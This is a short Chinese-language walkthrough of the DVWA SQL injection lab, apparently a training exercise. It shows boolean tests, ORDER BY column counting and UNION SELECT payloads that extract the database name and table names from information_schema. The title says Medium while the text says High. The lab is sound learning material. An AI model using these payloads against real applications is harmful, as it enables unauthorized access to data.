十九、SQL注入(SQL Injection)-Medium
大约 1 分钟
十九、SQL注入(SQL Injection)-Medium
一、查找注入点
High级别的SQL注入将查询内容的输入和结果的显示做了分离,使用两个页面实现查询功能。此时我们可以在查询页尝试寻找注入点。

在查询页输入1' and 1=1#,返回结果正常;在查询页输入1' and 1=2#,返回结果异常。可知and及其后面的内容可以被正常执行,此处存在注入点。


二、确定回显字段数量和位置
输入内容 | 返回内容 |
---|---|
1' order by 1# | 正常 |
1' order by 2# | 正常 |
1' order by 3# | 异常 |
由上述测试可知返回字段数量为2。
输入 1' union select 1,2# 查看两个字段回显的位置。

三、读取数据库内容
输入1' union select 1,database()# 在第二个字段的回显位置输出数据库名称
得到数据库名称为 dvwa

输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'# 在第二个字段的回显位置输出数据库名称
Loading...